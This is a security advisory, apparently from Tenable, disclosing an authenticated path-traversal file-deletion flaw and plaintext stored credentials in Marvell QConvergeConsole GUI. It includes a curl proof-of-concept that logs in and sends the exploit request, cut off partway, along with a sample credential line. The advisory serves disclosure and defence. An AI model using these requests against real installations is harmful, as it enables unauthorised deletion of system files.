Marvell QConvergeConsole GUI Multiple Vulnerabilities

High

← View More Research Advisories

Synopsis

CVE-2020-5804: deleteEventLogFile Authenticated Path Traversal to File Deletion

The deleteEventLogFile method of the GWTTestServiceImpl class lacks proper validation of a user-supplied path prior to using it in file deletion operations. An authenticated, remote attacker can leverage this vulnerability to delete arbitrary remote files as SYSTEM or root.

```
# Get the login form
curl -si http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID
Set-Cookie: JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6; Path=/QConvergeConsole; HttpOnly

# Perform login; 302 = login ok; a new JSESSIONID generated upon successful login
curl -si --cookie 'JSESSIONID=AA2D3A320A6E5DDA79D884951EE4BAD6' -d 'j_username=<correct_username>&j_password=<correct_password>' http://<qcc_host>:8080/QConvergeConsole/j_securi
HTTP/1.1 302 Found
Set-Cookie: JSESSIONID=1D6A756F17976C394F44E321C5E16C3F; Path=/QConvergeConsole; HttpOnly
Set-Cookie: JSESSIONIDSSO=16F56BABA95A9D53AF28DF7AFD952493; Path=/; HttpOnly
Location: /QConvergeConsole/

# Follow redirect using the new JSESSIONID
curl -si --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' http://<qcc_host>:8080/QConvergeConsole/ | grep JSESSIONID

# Exploit deleteEventLogFile path traversal to delete a remote file
curl -si  --cookie 'JSESSIONID=1D6A756F17976C394F44E321C5E16C3F' -H 'Content-Type: text/x-gwt-rpc; charset=UTF-8' -H 'X-GWT-Permutation: deadbeef' -d '7|0|6|http://<qcc_host>:80
```

CVE-2020-5805: Plaintext QCC credentials in tomcat-users.xml

QCC credentials are stored in cleartext in tomcat-users.xml

```
<user username="QCC" password="secretpassword123" roles="admin, manager, manager-script, manager-jmx, manager-status, admin-gui, admin-script"/>
```

OS-level users on the QCC host who are not authorized to use QCC may use the plaintext credentials to login to QCC.

Solution

Marvell notified Tenable that they are currently developing a software release update. No solution is currently available.

Additional References

https://www.marvell.com/content/dam/marvell/en/public-collateral/fibre-channel/marvell-fibre-channel-security-advisory-2020-07.pdf

Disclosure Timeline

October 7, 2020 - Vulnerabilities discovered.
October 9, 2020 - Vulnerabilities reported to Marvell.
October 13, 2020 - Marvell Acknowledges.
January 7, 2021 - 90 day disclosure date.

Risk Information

CVE ID: CVE-2020-5804
CVE-2020-5805
Tenable Advisory ID: TRA-2021-01
CVSSv2 Base / Temporal Score: 8.5
CVSSv2 Vector: AV:N/AC:L/Au:S/C:N/I:C/A:C
CVSSv3 Base / Temporal Score: 8.1
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Affected Products: Marvell QConvergeConsole GUI version 5.5.0.74
Risk Factor: High

Advisory Timeline

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media

tenable